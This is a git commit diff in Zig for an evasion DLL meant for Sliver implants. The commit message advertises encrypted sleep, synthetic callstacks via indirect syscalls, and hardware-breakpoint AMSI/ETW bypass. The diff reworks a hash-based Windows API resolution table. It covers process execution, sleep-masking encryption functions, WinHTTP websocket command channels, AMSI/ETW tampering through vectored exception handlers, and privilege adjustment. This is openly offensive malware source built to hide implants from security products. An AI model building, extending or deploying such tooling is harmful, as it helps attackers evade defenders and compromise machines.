Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.

This commit is contained in:
2026-07-18 09:30:00 +01:00
parent fe2726a430
commit 7ecc30f1cd
24 changed files with 727 additions and 466 deletions
+16 -31
View File
@@ -1,10 +1,8 @@
// Global function-pointer table ??? populated at runtime by ensure() via resolve.zig.
// Type aliases are in apitypes.zig (re-exported below so every ?T_* var declaration
// can reference the local type name).
// Global function-pointer table, populated by ensure() via resolve.zig.
// Type aliases in apitypes.zig.
const win = @import("win32.zig");
const resolve = @import("resolve.zig");
const apitypes = @import("apitypes.zig");
pub const USTRING = apitypes.USTRING;
pub const T_exec_CreatePipe = apitypes.T_exec_CreatePipe;
pub const T_exec_CreateProcessA = apitypes.T_exec_CreateProcessA;
pub const T_exec_ReadFile = apitypes.T_exec_ReadFile;
@@ -39,9 +37,8 @@ pub const T_fiber_CreateFiber = apitypes.T_fiber_CreateFiber;
pub const T_fiber_SwitchToFiber = apitypes.T_fiber_SwitchToFiber;
pub const T_fiber_DeleteFiber = apitypes.T_fiber_DeleteFiber;
pub const T_fiber_ConvertFiberToThread = apitypes.T_fiber_ConvertFiberToThread;
pub const T_sleep_SystemFunction032 = apitypes.T_sleep_SystemFunction032;
pub const T_sleep_VirtualQuery = apitypes.T_sleep_VirtualQuery;
pub const T_sleep_VirtualProtect = apitypes.T_sleep_VirtualProtect;
pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040;
pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041;
pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA;
pub const T_comms_WinHttpOpen = apitypes.T_comms_WinHttpOpen;
pub const T_comms_WinHttpConnect = apitypes.T_comms_WinHttpConnect;
@@ -99,7 +96,7 @@ pub const get_func_by_hash = apitypes.get_func_by_hash;
pub const NT_SUCCESS = apitypes.NT_SUCCESS;
pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO;
// Global function-pointer variables populated by ensure() below
// Global function-pointer variables, populated by ensure() below.
pub var exec_create_pipe: ?T_exec_CreatePipe = null;
pub var exec_create_process_a: ?T_exec_CreateProcessA = null;
@@ -138,9 +135,8 @@ pub var fiber_SwitchToFiber: ?T_fiber_SwitchToFiber = null;
pub var fiber_DeleteFiber: ?T_fiber_DeleteFiber = null;
pub var fiber_ConvertFiberToThread: ?T_fiber_ConvertFiberToThread = null;
pub var sleep_SystemFunction032: ?T_sleep_SystemFunction032 = null;
pub var sleep_VirtualQuery: ?T_sleep_VirtualQuery = null;
pub var sleep_VirtualProtect: ?T_sleep_VirtualProtect = null;
pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
pub var comms_winhttp_open: ?T_comms_WinHttpOpen = null;
@@ -194,7 +190,7 @@ pub var etw_get_module_handle_w: ?T_etw_GetModuleHandleW = null;
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
pub var etw_virtual_protect: ?T_etw_VirtualProtect = null;
// HWBP reuses AMSI's VEH/thread APIs ??? same AddVectoredExceptionHandler under the hood
// HWBP reuses AMSI's VEH/thread APIs.
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
@@ -392,12 +388,6 @@ pub fn ensure() void {
}
}
if (sleep_VirtualQuery == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualQuery"))) |p| {
sleep_VirtualQuery = @ptrCast(p);
}
}
if (amsi_load_library_w == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
}
@@ -422,14 +412,6 @@ pub fn ensure() void {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualFree"))) |p| bof_virtual_free = @ptrCast(p);
}
if (bof_virtual_protect == null or sleep_VirtualProtect == null or etw_virtual_protect == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("VirtualProtect"))) |p| {
if (bof_virtual_protect == null) bof_virtual_protect = @ptrCast(p);
if (sleep_VirtualProtect == null) sleep_VirtualProtect = @ptrCast(p);
if (etw_virtual_protect == null) etw_virtual_protect = @ptrCast(p);
}
}
if (amsi_add_vectored_exception_handler == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
}
@@ -449,7 +431,7 @@ pub fn ensure() void {
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
}
// HWBP globals ??? same APIs as AMSI, shared
// HWBP globals, same APIs as AMSI.
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;
@@ -457,8 +439,11 @@ pub fn ensure() void {
if (info_rtl_get_version == null) {
if (resolve.resolve_api(ntdll_hash, hash_ror13("RtlGetVersion"))) |p| info_rtl_get_version = @ptrCast(p);
}
if (sleep_SystemFunction032 == null) {
if (resolve.resolve_api(ntdll_hash, hash_ror13("SystemFunction032"))) |p| sleep_SystemFunction032 = @ptrCast(p);
if (sleep_SystemFunction040 == null) {
const advapi_hash = hash_ror13("advapi32.dll");
_ = resolve.get_module_by_hash(advapi_hash);
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
}
if (comms_load_library_a != null and (comms_winhttp_open == null or comms_winhttp_connect == null or comms_winhttp_open_request == null or comms_winhttp_send_request == null or comms_winhttp_receive_response == null or comms_winhttp_read_data == null or comms_winhttp_websocket_complete_upgrade == null)) {
@@ -479,7 +464,7 @@ pub fn ensure() void {
if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketClose"))) |p| comms_winhttp_websocket_close = @ptrCast(p);
}
// 2i continued. advapi32 ??? LookupPrivilegeValueW, AdjustTokenPrivileges
// advapi32, LookupPrivilegeValueW, AdjustTokenPrivileges
const advapi_hash = hash_ror13("advapi32.dll");
if (priv_get_current_process == null) {
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcess"))) |p| priv_get_current_process = @ptrCast(p);
@@ -510,4 +495,4 @@ pub fn ensure() void {
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDeriveKey"))) |p| crypto_bcrypt_derive_key = @ptrCast(p);
if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroySecret"))) |p| crypto_bcrypt_destroy_secret = @ptrCast(p);
}
}
}